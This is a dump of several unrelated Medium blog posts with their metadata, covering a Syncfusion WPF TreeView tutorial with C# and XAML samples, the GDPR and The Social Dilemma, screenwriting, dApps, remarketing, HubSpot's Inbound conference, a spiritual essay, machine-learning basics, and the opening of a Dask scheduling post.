<syncfusion:SfTreeView.ItemTemplate>
<DataTemplate>
<Label
VerticalContentAlignment="Center"
Content="{Binding ItemName}"
FocusVisualStyle="{x:Null}"
FontSize="12" />
</DataTemplate>
</syncfusion:SfTreeView.ItemTemplate>
</syncfusion:SfTreeView>
The following code shows how to load child nodes on demand when the OnDemandCommand is triggered.
public class MusicInfoRepository
{
................
private ICommand treeViewOnDemandCommand;
public ICommand TreeViewOnDemandCommand
{
get{ return treeViewOnDemandCommand; }
set{ treeViewOnDemandCommand = value; }
} public MusicInfoRepository()
{
....................
TreeViewOnDemandCommand = new OnDemandCommand(ExecuteOnDemandLoading, CanExecuteOnDemandLoading); } private bool CanExecuteOnDemandLoading(object sender)
{
var hasChildNodes = ((sender as TreeViewNode).Content as MusicInfo).HasChildNodes;
if (hasChildNodes)
return true;
else
return false;
} private void ExecuteOnDemandLoading(object obj)
{
var node = obj as TreeViewNode; // Skip the repeated population of child items every time the node expands.
if (node.ChildNodes.Count > 0)
{
node.IsExpanded = true;
return;
}
//Animation starts for expander to show progress of load on demand. node.ShowExpanderAnimation = true;
treeViewNodes.Add(node); Application.Current.MainWindow.Dispatcher.BeginInvoke(DispatcherPriority.Background,
new Action(async () =>
{
await Task.Delay(1000);
foreach (var item in treeViewNodes)
{
if (!item.ShowExpanderAnimation)
continue;
currentNode = item;
break;
} MusicInfo musicInfo = currentNode.Content as MusicInfo; //Fetching child items to add.
var items = GetSubMenu(musicInfo.ID); // Populating child items for the node in on-demand. currentNode.PopulateChildNodes(items);
if (items.Count() > 0)
//Expand the node after child items are added.
currentNode.IsExpanded = true; //Stop the animation after load on demand is executed If animation is not stopped, it remains after execution of load on demand. currentNode.ShowExpanderAnimation = false; treeViewNodes.Remove(currentNode); }));
}
..................
}
Load on demand with built-in busy animation
GitHub reference: You can check out the example project in this GitHub location.
Auto fit node height
TreeView allows you to set the height of the node:
By default using the ItemHeight property.
Conditionally using the QueryNodeSize event.
You can adjust (autofit) the height of the node based on the content’s measured size to improve readability. You can do this through the QueryNodeSize event and the QueryNodeSizeEventArgs.GetAutoFitNodeHeight method.
Refer to the following code example.
sfTreeView.QueryNodeSize += SfTreeView_QueryNodeSize; private void SfTreeView_QueryNodeSize(object sender, Syncfusion.UI.Xaml.TreeView.QueryNodeSizeEventArgs e)
{
if (e.Node.Level == 0)
{
//Returns specified item height for items.
e.Height = 30;
e.Handled = true;
}
else
{
// Returns item height based on the content loaded.
e.Height = e.GetAutoFitNodeHeight();
e.Handled = true;
}
}
Auto fit node height in WPF TreeView
GitHub reference: You can view the example project in this GitHub location.
Drag and drop within TreeView and between controls
TreeView allows you to drag and drop items within the TreeView control by setting the AllowDragging property to true. You can also drag and drop the items between TreeViews or to any other control, such as ListView and DataGrid.
While dropping, you can add the dragged nodes above or below the target item or as a child to a specific node based on the drag indicator position.
Refer to the following code example.
<treeview:SfTreeView
Name="sfTreeView"
AllowDragging="True"
ChildPropertyName="Childs"
ItemsSource="{Binding Nodes1}" />
Dragging and dropping items within a TreeView
WPF TreeView has the following events to perform custom operations when dragging items between nodes. Also, you can utilize these events to perform the drag-and-drop actions between TreeView and other controls:
Github examples
The examples for dragging and dropping items between TreeView and other controls are:
Conclusion
Thanks for reading! In this blog, we have learned the top five features available in our Syncfusion WPF TreeView control. It also provides other features, such as editing, selection, a context menu, and tree lines. You can refer to this UG documentation for a complete guide to all the available features in the WPF TreeView control. Try our TreeView demos in this link. Browse through our documentation to learn more about our other WPF controls.
If you aren’t a customer yet, you can try our 30-day free trial to check out these features.
If you wish to send us feedback or would like to submit any questions, please feel free to post them in the comments section of this blog post. You can also contact us through our support forum, feedback portal, or Direct-Trac support system. We are always happy to assist you! | https://medium.com/syncfusion/top-5-features-of-wpf-treeview-9044e91e33e0 | ['Rajeshwari Pandinagarajan'] | 2020-12-08 13:20:49.424000+00:00 | ['Wpf', 'Programming', 'Csharp', 'Productivity', 'Desktop'] |
The real lessons from The Social Dilemma | On Facebook’s business model, Google’s governance and the GDPR
It will soon be a year since the premiere of the Netflix documentary The Social Dilemma, which hit a record number of viewers and sparked an unprecedented debate about our relationship with digital platforms. At this point, it is worth looking back and ask ourselves: What issues should we worry about the most, and how should we address them? Are the instruments at our disposal enough? What changes can we expect in the soon future?
In this blogpost, I will take you through three key lessons from The Social Dilemma, how Europe dealt with them and what we can expect in the future- at least on the Eastern side of Atlantic.
The three faces of a larger problem
None of the interviewees in the docufilm could point any single problem with (social media) platforms. It would probably be more appropriate to say that we are facing a compounded problem.
The first layer of the problem is platforms business model. Social media are two-sided platforms, i.e. they can afford offering one side of the market (users) free access to the platform because they charge the other side (advertisers). What do advertisers pay for? They pay for users’ visualization of their ads, and for the probability that this will lead them to buy the product or service that they advertise. The docufilm summarizes it in a sentence: “if you are not paying the product, then you are the product”, or more precisely, your attention is the product. This could still sound as a fair deal if it wasn’t for social media’s deliberate attempts to manipulate users’ thoughts and behavior to secure such attention.
How does this work in practice? Social media and other digital platforms collect immense amounts of data about users’ online behavior (so-called “tracking”), such as screen time, liked pages and recurring routes, to model their preferences and habits and thus be able to sell highly targeted (i.e. user-specific) advertising space to companies. To ensure the effectiveness of targeted advertising (i.e. the probability that users buy what is advertised), platforms must maximize exposure to ads and provide content that is relevant to users. To this end, companies embed principles of behavioral psychology and cognitive sciences in the design of platform features (e.g. email notifications for every tag in a social media post) and develop algorithms that use tracking data to predict what might interest users and rank the content they see accordingly (e.g. recommended videos and news feeds). As the docufilm puts it, social media “use our data against us”, to hook users to their platform (eventually creating addiction in the most extreme cases) and bombard them with ads (which translates into revenue for them).
The second layer of the problem is platform companies’ governance. Until recently, social media and other platform firms failed to understand, acknowledge, or intervene to mitigate the negative effects of the manipulation mechanisms they had put in place. Originally designed for commercial purposes (sell targeted ads), manipulation mechanisms (design features and algorithms) can be purposefully exploited by malicious actors to meddle in elections, spread fake news, and encourage hate speech. They can be used by authoritarian governments to crack down protests and haunt opponents. And they can psychologically damage individuals, causing addiction, isolation, loss of confidence, depression, sometimes with spillover effects on behavior, such as self-harm and, in the most dramatic cases, suicide.
As former Google employee Tristan Harris lays out in The Social Dilemma, “never before in history have 50 designers, 20 to 35-years-old white guys in California, made decisions that would have an impact 2 billion people”. Calls by employees like Harris to take responsibility for and address this issue were long ignored or downplayed by companies’ management. In some cases, original developers were already aware of the manipulation power of social media, as pointed out by former Facebook and Pinterest employee Tim Kendall, but they had accepted it as an integral part- if not even the key to the success- of their business model. And with no regulation, safeguard, minimum requirement, impact assessment or independent oversight mechanism in place, no one, either individual or authority, could hold them accountable for their way of doing business and its consequences.
The third layer of the problem is users’ lack of awareness. The dynamics described so far were long carried out without users’ knowledge or at least without their informed consent. According to Shoshana Zuboff, Harvard professor and author of The Age of Surveillance Capitalism, it is on this lack of transparency that the “most profitable companies of human history” have built their fortune.
Does the GDPR solve these issues?
The EU General Data Protection Regulation, in force since 2018, empowers internet users through a novel and specific set of rights that give them control over their personal data. It also regulates companies’ use of personal data by establishing the conditions they must meet to lawfully process such information and relevant sanctions to hold them accountable if they fail to respect those conditions. In particular, the GDPR addresses the problems outlined in The Social Dilemma in the following ways:
With its broad and holistic definitions of “personal data” and “data processing”, the GDPR effectively covers the various types of data treatment that platform companies carry out;
With its distinction between “processors” and “controllers” and its definition of “third party” the GDPR also effectively covers the use of data by advertisers on social media and other platforms;
By tying its territorial scope to the location of the data subject and not of the processor, controller, or third party, the GDPR effectively applies to companies based abroad, including those in the US;
By demanding “data minimization”, “purpose limitation” and “storage limitation”, the GDPR constraints platforms’ power over users’ data and forces them to be transparent about what use they make of such data;
By demanding companies to ask for the free, explicit and informed consent of data subjects and by mandating the provision of clear and accessible information and procedures for users to withdraw such consent and exercise their rights, the GDPR forces platforms to notify data subjects about the use they make of their data and to give them the possibility to object. Such rights include access, rectification, erasure, restriction of processing and portability of one’s personal data, the right to object to individual automated decision-making (including profiling) and the rights to judicial remedy and compensation;
By establishing obligations for data processors and controllers and making them liable for infractions, the GDPR forces companies to take legal responsibility for their misuse of data and to pay fines if they fail to comply by the regulation;
By establishing national and European data protection authorities and demanding firms to keep the records of their processing activities and notify data breaches to both data subjects and competent agencies, the GDPR establishes mechanisms to make platform firms accountable.
A couple of takeaways and a glimpse at the future
To sum up, The Social Dilemma accuses digital platforms, in general, and social media, in particular, of:
- Monetizing user data without users’ knowledge nor informed consent
- Manipulating user behavior for commercial purposes
- Lacking transparency and accountability for harmful real-life consequences of platform use
Is the GDPR enough to protect us against these practices? Definitely not. The GDPR does address the problems of transparency, informed consent, and accountability. However, it does not tackle the issues of manipulation or monetization of users’ data. As long as users give their consent for the sake of convenience and marketers find some lawful basis envisioned by the GDPR for data processing, these dynamics will persist. So, should we simply surrender to the idea that this is the way the digital economy works and that we must accept its excesses if we don’t want to be excluded from it? Not necessarily. In the EU two important new pieces of legislation are being discussed which could have a great impact on digital platforms and our relationship to them: the Digital Services Act and the e-Privacy regulation. It remains to be seen whether they will succeed in re-writing the rules of the game. | https://medium.com/@agata-hidalgo/the-real-lessons-from-the-social-dilemma-ad96cccfb7e5 | ['Agata C. Hidalgo'] | 2020-11-13 14:26:26.126000+00:00 | ['Digital Economy', 'Regulation', 'The Social Dilemma', 'Privacy', 'Gdpr'] |
Why Bank Robbers Would Make Good Screenwriters | What’s not in your script is every bit as important as what’s in it because the Unnecessary kills scripts. Ask any good bank robber. They know that their life depends on the difference between what’s Necessary for the job and what’s Unnecessary. They’ve engineered how to get in, get the money, and get clean away, and they’ll fight like maniacs to prevent anything from gumming up the plan. What makes a script work is a delicate balance of great storytelling and precision craft as a dramatist. Like the titanium skeleton of the Terminator, the bare mechanism of a working script is a thing of beauty that must be rigorously protected from unneeded additions.
Dramatic writing is an extremely lean literary form that demands total economy. Many amateur scriptwriters forget they’re writing for a performance medium — that the story must be performed by actors in front of an audience and if the audience isn’t constantly on the edge of their seats then it doesn’t work dramatically, no matter how clever the story. It’s a delicate balancing act to successfully dramatize a story, so once you get it right you need to defend it.
The work of the amateur is characterized by the Unnecessary, with scenes overwritten, bloated dialog and description, and worse — scenes that shouldn’t even be there. Sequences are overwritten or entirely unnecessary, and sometimes a whole act is unnecessary. For that matter, your entire script may be unnecessary. That may sound funny, but if you ever worked as a script reader, you know that it’s no joke.
So how do you do separate the Necessary from the Unnecessary? There’s a great technique called Reverse Cause and Effect that you use when you’ve sketched in the general outline of your story. Cause and effect is simple — bothering a bear cub causes its mother to attack. Starting with your story’s ending, you chain backwards from each effect to its cause, asking what directly caused the effect rather than what merely happened before it. Any number of things can happen before it but only one thing actually caused it. This frees you from the profusion of unnecessary details that can bog down any story, and the resulting chain of events constitutes the spine of your story. A causes B which causes C, with no tangential material veering away from the story’s forward flow.
Then you divide the overall story into acts, and you work backward through Act I, following the chain you created, now thinking it through in a bit more detail, but only as much as is necessary. You do the same for all the acts and then you divide them into sequences. Working backwards through the first sequence, you layer in yet a bit more detail, still rigorously excluding the Unnecessary. You do that for all the sequences and then divide each sequence into scenes.
You take the first scene and work backwards through it, weaving in a bit more detail and then you write that scene, breathing life into the structure you’ve built. Then you flesh out the next scene and write it, and you keep doing that until you’ve got a working draft. Because you’ve constantly incorporated only that which is Necessary while ruthlessly excluding everything which is Unnecessary to the forward action of your story, your draft is tight and clean, with no fat. Of course the script still needs work but it’s lean and solid, not some overstuffed mess. You engineer your script properly before you write it, which can free you from much of the misery of extensive rewrites.
I’m Jeff Kitchen and I am proud to announce Scriptwriting Mastery, my new training program for writers of all levels. Please check out my website, https://script.kitchen | https://medium.com/@jeffkitchen88/why-bank-robbers-would-make-good-screenwriters-cc068371bed1 | ['Jeff Kitchen'] | 2020-12-24 08:29:40.851000+00:00 | ['Writing', 'Drama', 'Storytelling', 'Screenwriting', 'Script'] |
What Are Decentralized Applications (dApps)? | DApps(decentralized apps) are a new type of software application run on a distributed computing network, and nobody has control over them. In terms of the user interface, decentralized apps look the same as any website or mobile app we use today.
In simple terms, DApp is an application in the blockchain. To understand what DApp is, let’s first give you a little bit of information about Ethereum. Ethereum is a software platform that enables developers to create and run “smart contracts” using the Turing-complete Ethereum Virtual Machine (EVM) over a Blockchain network. EVM allows code to be validated and run on the blockchain. When you create your smart contracts with Ethereum, you’re writing a piece of the backend code for your Dapp. “Smart contract” is a computer program or a transaction protocol. The language in which “smart contracts” are written is called Solidity. It contains lines of computer code. This code automatically performs certain actions when the required conditions had met.
The two main features of DApps:
Open-source — DApp must be open source and have an autonomous governing system without controlled by any institution or entity. As defined in the consensus protocol, all changes must decide by the consensus of the majority of users. Because it is open-source, anyone can easily access and contribute to the network. It encourages the widespread development of the DApp platform. It also allows developers to create better Dapps with more useful or interesting functions.
Decentralized — DApp built on decentralized technology. All transaction records filed in a public and decentralized ledger (Blockchain). DApps ensure that control does not come into a single, centralized entity or company.
Types of DApps
Apps that manage money — These types of DApps require the validation of contracts between the parties via digital currency. Ethereum, for example, has a smart contract. When the terms of the agreement had met, the smart contract verifies itself. But this must first be controlled by all nodes in the blockchain network. The user may have to exchange the Ether(the currency of Ethereum) with another user to reach an agreement.
Apps requiring money and variable information — These type of applications combines money with information outside of the blockchain. Besides crypto tokens, some protocols also are required for such kinds of apps. For instance, you have to consider the price of a product and the distance between the two parties if you have a product delivery app. Here, the distance between the two parties is the variable data or bring up-to-date information from the outside.
Apps managing voting and government system — DAO (Decentralized Autonomous Entities) is a system introduced by DApps. When two or three parties try to pursue a common goal, they apply to these entities. They are bounded by a smart contract for management without any leader.
How Does a dApps Differ From Traditional Apps?
We are in an era where we are increasingly using portable devices. We are even solving certain activities such as communication, entertainment, and banking in these applications. For this reason, we are looking for more features in technological innovations. Decentralized apps have some features that traditional apps don’t have. The main difference between apps and DApps is that DApps are the interface for some decentralized code recorded on the blockchain. On the other hand, with some code saved in the cloud, apps are an interface between programs. Below we have mentioned a few different features of dApps.
New types of digital assets and money creation
Unstoppable and uncensored web applications
Creating decentralized organizations or virtual worlds governed collectively
There are many decentralized applications (DApps) you can use today. BAT, Golem, Minds are some examples of them.
Basic Attention Token (BAT): creates an ad exchange marketplace in a decentralized way. BAT using in the Brave browser. It improves privacy and value transfer between users, publishers, and advertisers.
Golem (GNT): used by one or many distributed computing nodes for run code and bring mass computing power to the crowd.
Minds: is a reward-based social networking service. The platform enhances the transfer of value between creators and consumers of content.
To conclude
DApps are interference-resistant. It is not possible to change records on the network. They are also highly secure and immutable against hacking or other potential system crashes. Due to the absence of intermediate applications, they allow faster payment processing. Because they do not require long registration forms for users to complete, DApps provide greater anonymity. With its essential features like these, it is only a matter of time before DApps become mainstream. In brief, dApps have the possibility to change how people interact with web applications in the future. | https://medium.com/@coinsfera/what-are-decentralized-applications-dapps-f500f5bd4dd1 | [] | 2020-12-25 11:25:31.682000+00:00 | ['Decentralized Finance', 'Decentralized Apps', 'Decentralization', 'Dapps', 'Blockchain'] |
What are the different remarketing ad types used by a digital marketing agency in Hyderabad? | What are the different remarketing ad types used by a digital marketing agency in Hyderabad?
You might have heard of marketing, but what could remarketing probably be about? So, to clear out the actual meaning of remarketing, we have come up with a clear explanation. Remarketing is involving the targeted customers who have already viewed a product or a webpage on the website, which means they have shown some interest in it, and thus showing them the ads. A digital marketing agency in Hyderabad will take users who have shown interest as an advantage and convince them to come back by attracting them with the ads. Remarketing strategies can be a great way to boost the relevancy and personalization of the ads displayed and marketers who find ways to boost the relevancy can create a better user experience.
We will now understand the different remarketing ad types used to boost success.
1. Displaying Ads: This is the most common remarketing strategy used, where the ads are displayed to the audience on Google display network and on social media platforms. Digital marketers will set up remarketing campaigns and make them appear as Google Ads, Facebook Ads, and Twitter Ads, etc. These platforms make an excellent means to reach millions of audiences.
2. Email re-marketing: This platform is another kind of remarketing strategy that marketers use, where they send out emails to the target people who have been opening the brand’s emails. This will help people to keep the brand’s product and service in the audience’s mind. Email remarketing is done to the users who open the email because they are the ones who have some interest in the products and services. This will help brands to get a few of them back to the website and take an action.
3. Remarketing list search ads: Just like display ads as mentioned in the first point, ads can also be displayed on the search engines. These remarketing ads will make it easy for the marketers to target the audience who have visited the website and are again using a search engine for searching similar terms online.
4. Search retargeting: This strategy offers a unique form of retargeting. When marketers utilize remarketing ads from search engines such as Google remarketing ads, they find customers who have searched for terms and looked at products that are similar to the brand’s own offerings, but they haven’t visited the website yet. This form of retargeting allows brands to broaden their reach. So, marketers will be able to specifically target those interested in competitors.
5. Video remarketing: Through Google, marketers can also display ads to people on YouTube. These videos are displayed to the people who have visited the brand’s channel or they can be retargeted through ads while the users browse elsewhere on the Google display network.
With this, you might have understood that remarketing can be a valuable and productive means of enticing customers who have already expressed an interest in the brand’s products or service. By remarketing, brand awareness can also be increased. | https://medium.com/@monicageller3691/what-are-the-different-remarketing-ad-types-used-by-a-digital-marketing-agency-in-hyderabad-b2058d7cf26a | ['Monica Geller'] | 2020-12-11 06:04:13.095000+00:00 | ['Digital Marketing Company', 'Digital Marketing Agency'] |
They Killed the Funnel. Now, They Want You To “Grow Better.” | HubSpot had a funeral for the funnel. I guess you’d call it a funnel-ral? Yeah, I know. Good one.
Inbound is the annual conference put on every year in the beautiful city of Boston by our friends at HubSpot. First off, they put on a rockin’ show. There are people everywhere, vendors galore, delicious food trucks, a million break out sessions for every type of person, great inspiring speakers, good tunes, etc. etc. etc.
Every year they talk about new developments in the platform and how everyone’s life is going to get a lot better. This year they did that, but they are also starting to realize that lead generation is only part of the pie. Finally! Yes! Thank you!
Here’s the deal.
Before the age of the internet, sales people were needed to be the mediator/educator between the consumer and the product or service. Once the internet took over, consumers were self-educating and approaching businesses already understanding what they wanted or needed. The sales person took on a new role in facilitating the sale at that point. HubSpot (and other marketing platforms) came into existence to help with the educating and nurturing process. It was all about lead generation through a new inbound (as opposed to outbound) methodology. Inbound marketing is about creating great content that you can use for SEO purposes, blogs, and email campaigns getting people to the point of reaching out themselves instead of sales people making cold calls or sending out mailers.
Here’s what happened, and this is what I’ve been saying for years. Some agencies and businesses are so focused on lead generation they forget about the most important part. The customer and their brand!
The New Flywheel
In this conference, they killed the funnel. They no longer believe in the funnel (kind of). It’s now a “flywheel.”
The idea is that the emphasis is put on the top of the funnel, the lead generation part (SEO, blogs, paid ads, social posts, etc.). It put less emphasis on the bottom of the funnel, the customer part. They call it the “delight” stage of the buyer journey. The stage where you are supposed to take care of your customer and make them feel like a million bucks.
Sure, we all kind of know this, but it gets looked over because we need more leads! You need those customers to continue to generate energy for the flywheel and keep it spinning. Right now, they see a lot of customers falling out the bottom of the funnel, never to be heard from again. This is not good business.
New HubSpot Stuff
HubSpot has introduced new “delight” features to their platform this year. Things like NPS (Net Promotor Score), support tickets, a knowledge center, live chat, and video capability with the goal of making it easier for your customers to do business with you. They want to get rid of the friction, or the “sharp corners” as they call them.
They call it “Grow Better.” That was the theme this year.
So, they are holding on to the lead generation idea, the growth. But they are now wanting you to do it “better.” Possibly implying agencies aren’t doing it “better” right now. In fact, I think they’re sucking at it. Not everyone, but some.
Here is what I take away from all of this.
They didn’t say it (though they should have), but it’s all about BRANDING!
They are trying to create a “delightful” experience, getting rid of friction, trying to make it easy to do business with businesses because it hurts your brand when your customers experience the opposite. Brand is everything! You can have all of the leads in the world, but if your brand sucks, no one will care what you have to sell.
I’ve had a strong belief over the past several years of being in the inbound space that a lot of companies are marketing at the expense of the brand. They are about pumping out the content, launching the ads, posting the social posts, making sure their SEO includes all the right words. They tend to forget that branding is much more than exposure.
Branding is how people feel about you when you’re not around!
How are people reacting to that message you posted? Or, to the new website design? How are people reacting to the way you are selling your product or service, or how you take care of your customers?
We MUST be mindful of this stuff.
So, yes, I think the theme is fine for this year. Did people get it beyond the new tools that were released to make sure we are providing “better” customer service? I don’t know. But, I did. We must create a brand that people want to fall in love with. Filling the top of the funnel with as many leads as possible is great. Just don’t forget about the people that have put their trust in you and your business. It’s much easier and sustainable as a business to keep the customers you have than to continuously find new ones to replace the ones you’ve ignored.
___
In addition to the clients we have served for many years, and continue to serve, I’ve started consulting (mentoring) small businesses in need of some direction. I own a small business. I get it. I want to empower the “little fish with big dreams” to define their brands, clarify their message, and bring more structure to their brand and marketing programs. Click here to talk! | https://medium.com/thoughts-of-a-brand-strategist/they-killed-the-funnel-now-they-want-you-to-grow-better-d000a261fdf2 | ['Skot Waldron'] | 2018-09-11 04:30:39.556000+00:00 | ['Customer Service', 'Branding', 'Marketing Funnels', 'Hubspot', 'Flywheel'] |
I Used to Want to Know Things… | Photo by Til Jentzsch on Unsplash
In the Buddhist traditions, it is a given that one passes on knowledge. Passing it on makes the acquisition of what to pass on yet another given… and on and on…
And, then, I came into the realization that consciousness doesn’t need to be passed on… neither by transference, which is not entirely possible, nor by a “pass” response. The double-entendre is priceless!
What was ingrained in my being for a few lifetimes or so, was my misunderstanding of Presence. My misinterpretation of something so simple… Mind does get in the way, mind you. It means well, the mind, and yet we trip over its parameters, perimeters and defenses.
The western world reveres the mind. I’m not saying the eastern doesn’t, mind you. Okay, I’ll stop with the mental masturbation. I so wish the great “minds” of the world would do the same… so it had better begin with me.
I mean, really, {yep, bad English and all} when has a patriarchal circle jerk ever solved one damned thing?!!! But I digress. {And, I’m speaking of systems here, not genders.}
My flowing out of “knowing” began with a vision…well, no, before that, but that was when SHE grabbed me by the scruff, shaking hard, saying “that will be enough of that!” I kept hearing Yoda’s words in my head “You must unlearn what you have learned…” And HERS. “You are mine.” And I despaired. I had spent this life and others immersed in the Oneness, and “knowing” it not… all the while yearning, striving, attempting to “know.” The human mind virus, the delusion of separation, persists through all traditions. Where would “I” learn differently?
And then, SHE began to shatter the “I.”
Some years into my transition, I met the first of two Apache medicine women who shook the foundations of my westernized mind virus in simple but surprising ways. The first reminded me of the Oneness of all of life, the sacredness of each and every living thing… and when I agreed with her, with tears in my eyes, she commented, “…yes.” Thanks, Kut. May your journeys in the Other Side Camp be wondrous and may you rest well from your labors.
The second, whose seminar on the mystical nature of bobcat/lynx medicine made sense of aspects of self I had been unable to grok/grasp, grinned at me out of the corner of her mouth, saying, “…well, you do have a little humility.” It tweaked my spiritual ego mightily, making us both laugh out loud. “You should see your face!” she cackled. “I don’t have to…” I groaned, “Faaaahhh. Direct hit!” And so, our 1–1 association began, as I learned yet another aspect of the Oracular gift, the mystical nature of All. Our. Relations. Her tradition prohibits widespread marketing of any kind, and so she remains anonymous here. Deep bow, my sister.
The Oneness, otherwise known as any deity you prefer, is everywhere, everywhen, and in every particle/wave of existence.
What I know for sure {thanks, Oprah} is that what I need to know will be shown to me when and as I need to know it. I haven’t watched the news in years. SHE works on a “need to know” basis and that basis is the foundation of my new/altered/chronologically advancing life. Yours, too, by whatever name you call it, or call, you name it.
We are what we have been looking for…and there are as many perspectives, points of view, and expressions of that, as we are.
We can heal from the virus of the desperate mind. One moment of Presence at a time. May we do so at lovespeed.
~ Namaste ~ | https://medium.com/indian-thoughts/i-used-to-want-to-know-things-7897e9a9321a | ['Nalini Macnab'] | 2020-03-07 17:53:09.233000+00:00 | ['Mindfulness', 'Inspiration', 'Life Lessons', 'Presence', 'Wisdom'] |
Machine learning for everyone who doesn’t know anything about it! | Nowadays all people are in touch with cellphones, tablets, computers and all this “smart” devices every day, that makes our lives easier with all the stuffs that these things offer to us, but these devices are not really the smartest we think they are. These devices just take the orders we gave to them. For example, if we give the order to make a call pushing in the icon of the phone, the cellphone would do that for us, or if we tell Siri or Alexa to put some music, the music would be on, or if we give the order to the lights turn off or turn on, the lights would make it. So as we can see with these simple examples, nothing of these things can be done by themselves, they need and order to be execute.
When we look on the internet to read about machine learning we can find complex or simple articles explaining it. But here we are trying to explaining it in an easier way what machine learning is. Let’s start!
Machine learning is a super trending topic; everybody talks about it but few people know what to do whit it or how it really works.
Let’s go to supposed that Sara wants to buy a car. She is checking on internet and she realizes that a new car costs for example $20.000. She also sees one-year-old car that costs $19.000 and two years old car that costs $18.000, and so on. Sara finds a pattern; the price decrease $1000 each year. That is what we know as regression in machine learning, and is a way of predict some value based on historical data. This example explains on of the basics of machine learning that is predicting results based in historical data.
Machine learning has three basic components
Machine Learning is a current application of Artificial Intelligence based around the idea that we should really just be able to give machines access to data and let them learn for themselves. In fact, the key idea behind Machine Learning is that it is possible to create algorithms that learn from data and make predictions on it.
In order to “educate” the machine, you need these 3 components:
DATA: are individual units of information and used for the purpose of analysis. There are two ways to get data: manual and automatic. Recollecting manual information would give less errors that the other one, but takes much more time, which makes it an expensive way. Recollecting automatic information is cheaper but is not that accurate as manual.
FEATURES: parameters or variables. Factors for a machine to look at. Features are simply variables, observable phenomenon that can be quantified and recorded. For example, an application trying to determine the probability of heart disease in patients. What are some possible features? It could be: gender, age, height, weight, blood pressure, among others.
ALGORITHMS: sequence of instructions used to solve a problem. Any problem can be solved differently. Each method has different precision, performance, and size.
Basic components of Machine Learning.
Learning vs intelligence
Artificial Intelligence(AI) systems are machines that think and act as humans do. They have an intelligent brain, just like humans do and Machine Learning is a technique, approach, or process for implementing Artificial Intelligence which involves parsing massive amounts of data, learning from that data, and making predictions based on that.
“Artificial intelligence is a technology using which can create intelligent systems that can simulate human intelligence”
“Machine Learning is a subfield of artificial intelligence, which enables machines to learn from past data or experiences without being explicitly programed”
Quotes taken from: javatpoint
Learning vs Intelligence.
Let’s go to define each of these terms in simple words.
Ø Artificial Intelligence: it is the broader concept of machines being able to carry out tasks in a way that we would consider “smart”. AI is the name of a whole knowledge field, just as math, biology, chemistry, physics. So as you can see in the image is the big circle around the others.
Makes it possible for machines to learn from experience, adjust to new inputs and perform human-like tasks. For example, such machines can move and manipulate objects, recognize if someone is moving, or solve other complex problems.
Ø Machine learning: it is one of the areas that compound AI. It is a subset of AI, necessary for machines to learn from data and take advantage of the patterns it discovers through them to make decisions.
Ø Deep learning: it is a method to use neural networks. tries to emulate the human reasoning process, every time we receive new information, the brain tries to compare it to a known element before making sense of it, which is the same concept that deep learning algorithms use, through a model called neural networks.
We can divide machine learning in two different class
Classes of Machine Learning.
In a simple way:
Representation of the classes of Machine Learning.
let’s going to talk about each one:
Supervised learning: let’s take the example you want a machine that predicts how long you will take to drive from home to your workplace. You have to train that machine and you need to create some label data that includes for example weather conditions, time of the day, and holidays. This data is going to be the input. The output would be the time it took you to drive home in some day. You have clear that when it is raining you will take more time to arrive home, and the more it rains, the more time you have to spend in the car to arrive home. So there is a direct relationship between the amount of rain and the time it takes you to arrive home. Also you know that the closer it is to 6 pm, the longer time it takes for you to get home. Your machine may find some relation with the label data. And this is the start for your data model, beginning with the impacts that the rain does when people is driving. And also see that in a particular hour of the day, people is traveling more from their works to their homes. So we can translate this by saying supervised learning is a training that consist of inputs and outputs paired correctly.
Supervised learning explanation and representation.
The regression subcategory in simple words take a group of random variables to predict another variable and tries to find a mathematical relationship between them. For example, in financial markets regression is often used to find how many and which factors such as the price of a commodity, interest rates, industries, and some sectors influence the price movement of an asset.
The classification subcategory is the process of predicting the class of given data points. An example of this could be mapping a picture of someone to a male or female classification.
Difference between Classification and Regresetation graphically.
Unsupervised learning: let’s take the case of a baby that recognizes the pet of his house. The pet is a dog. The baby recognizes and identifies this dog whenever he sees it. Weeks later, some friends of the family visit the house and bring a dog. The dog tries to play with the baby, but the baby has never seen this dog before. Even though the baby recognizes many features that are similar in dogs (2 ears, eyes, walking on 4 legs, barking, etc). This is unsupervised learning, where you learn from data (in this case data about a dog) but you are not taught. If this would be supervised learning the friends of the family would tell the baby, that the pet they have it was a dog. So we can translate this by saying that is a way to learn by examples.
Unsupervised learning explanation and representation.
Now we are going to look at some of the types of unsupervised machine learning.
Clustering: it points to find a pattern in a collection of categorized data.
Clustering example.
Association: is a method used to find the relationship between variables in the data and determines the set of items that occur together.
Association example.
Usages of Machine Learning.
In a summary, machine learning is a method used by computers to learn from data and calculations by using mathematics, and have some applications as follows:
Machine Learning Applications.
Online searches
Like Google and other websites analyze the time we spend looking for something and collect all the data to later provide better results.
Business Intelligence
This helps the companies to take better decisions analyzing all the data that they have to take better opportunities, to see fails, to improve sales, among others.
Antivirus
Every day new viruses are born or existing versions are modified, so that antivirus has an updated database is not enough.
For this, they have automatic learning that is based on the behavior of the malware to detect and stop them.
Prediction in preferences
In websites like Google, Amazon or Mercado Libre, even social media like Facebook or Instagram you can notice that these platforms suggest things that you have been looking before. For example, in the case you had look for a computer, they start to recommend places to buy a good computer with good prices based on what you looked before, and this is due the algorithms of machine learning they apply.
They are based on the searches and things that you have bought or downloaded to be able to know what they should offer you.
Health
The automatic learning algorithms are able to detect and prevent diseases such as breast cancer with even one year in advance, directly influencing the possible treatment and the success rate of healing.
Machine Learning is a topic that is in constantly growing those days, and this is article is a little introduction of what Machine Learning is, its classes and how it is used in real life. Thanks for reading!
Sources: | https://medium.com/@1881-79576/machine-learning-for-everyone-who-doesnt-know-anything-about-it-f15afe03be1c | ['Valentina Gómez A.'] | 2020-11-10 01:01:38.165000+00:00 | ['Predictions', 'Algorithms', 'Regression', 'Deep Learning', 'Machine Learning'] |
How to efficiently parallelize Dask Dataframe computation on a Single Machine | Threads, Processes, Cluster — What to choose when
In the previous story, we had a deep dive into the dask dataframes. We saw how they are lazy and will perform computations only when forced to, using the .compute() method. Otherwise, they just generate the task graph of the computation to be performed. However, does .compute() guarantee that the task is parallelized using the most efficient way? Not always. In this post, we will have a look at the different schedulers that can be employed to parallelize code execution and determine which scheduler to use when.
Table of Contents:
Machine Specifications:
The machine specifications are as follows:
RAM: 12 GB
Number of Cores: 4
Processor: Intel Core i7 8565 U
Processor speed: 1.8 GHz (up to 4.6 GHz)
Each core has two threads, so a maximum of 8 threads are possible.
Types of Schedulers:
The official dask documentation is an excellent resource for this section. Specifically for a single machine, you have the following options available:
Processes:
